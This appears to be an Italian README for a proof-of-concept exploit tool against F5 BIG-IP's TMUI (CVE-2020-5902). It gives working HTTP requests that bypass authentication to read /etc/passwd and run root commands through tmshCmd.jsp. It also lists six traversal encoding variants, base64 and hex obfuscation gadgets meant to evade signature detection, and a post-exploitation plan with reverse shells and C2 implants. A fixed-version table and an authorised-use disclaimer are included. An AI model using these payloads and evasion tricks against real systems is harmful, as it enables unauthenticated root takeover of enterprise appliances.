F5 BIG-IP è una piattaforma di distribuzione e sicurezza delle applicazioni ampiamente utilizzata in ambienti aziendali. La CVE-2020-5902 è una vulnerabilità critica nel TMUI che, nelle versioni non corrette, può consentire accesso non autorizzato ed esecuzione remota di codice, rafforzando la necessità di aggiornamento e gestione continua delle vulnerabilità.
Exploit proof-of-concept per la vulnerabilità critica di path traversal / remote code execution nell'interfaccia utente di gestione del traffico (TMUI) di F5 BIG-IP.
⚠️ Solo per test di penetrazione autorizzati e ricerca sulla sicurezza. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si dispone di un'autorizzazione scritta è illegale. L'autore non si assume alcuna responsabilità per un uso improprio di questo strumento.
F5 BIG-IP è una famiglia di appliance di rete polivalenti (load balancer, WAF, application delivery controller) implementata nella maggior parte delle aziende Fortune 500, delle istituzioni finanziarie, delle organizzazioni sanitarie e delle agenzie governative in tutto il mondo. La Traffic Management User Interface (TMUI) — nota anche come Configuration Utility — è il portale di gestione basato sul web accessibile sulla porta 443 (o 8443).
Nel luglio 2020, F5 ha divulgato la CVE-2020-5902, una vulnerabilità critica (CVSS 9.8) di path traversal non autenticato nella TMUI che consente a un attaccante remoto e non autenticato di:
Entro pochi giorni dalla divulgazione pubblica, è stato osservato uno sfruttamento di massa in ambiente reale, anche da parte di attori statali.
La TMUI è basata su Apache Tomcat e utilizza un filtro servlet per applicare l'autenticazione sulle risorse protette. La vulnerabilità risiede nel modo in cui Tomcat analizza i segmenti di percorso delimitati da punto e virgola (;).
La seguente richiesta aggira completamente l'autenticazione:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Perché funziona:
/tmui/login.jsp (termina prima di ;) — che è la pagina di login pubblica — e consente la richiesta./..;/ come un path traversal (/../) prima dell'invio.fileRead.jsp senza autenticazione.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
Il servlet tmshCmd.jsp (raggiungibile anche tramite lo stesso traversal) passa i parametri command e utilCmdArgs direttamente a tmsh (la shell di gestione di BIG-IP), che incapsula run util bash -c '...'. Ciò consente l'esecuzione di comandi di sistema a livello root senza autenticazione:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
| Variante | Payload |
|---|---|
| Standard | tmui/login.jsp/..;/tmui/... |
| Punto e virgola codificato | tmui/login.jsp/..%3b/tmui/... |
| Doppio URL-encoding | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Dot-dot Unicode | tmui/login.jsp/%2e%2e;/tmui/... |
| Variazione di maiuscole/minuscole | TMUI/login.jsp/..;/tmui/... |
| Confusione di directory | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
Lo strumento applica uno dei due gadget di offuscamento a ogni esecuzione, rendendo più difficile il rilevamento tramite firme statiche:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
| Ramo BIG-IP | Intervallo vulnerabile | Versione corretta |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
BIG-IQ, BIG-IQ Centralized Management, F5OS e Traffix SDC non sono interessati da questa specifica CVE.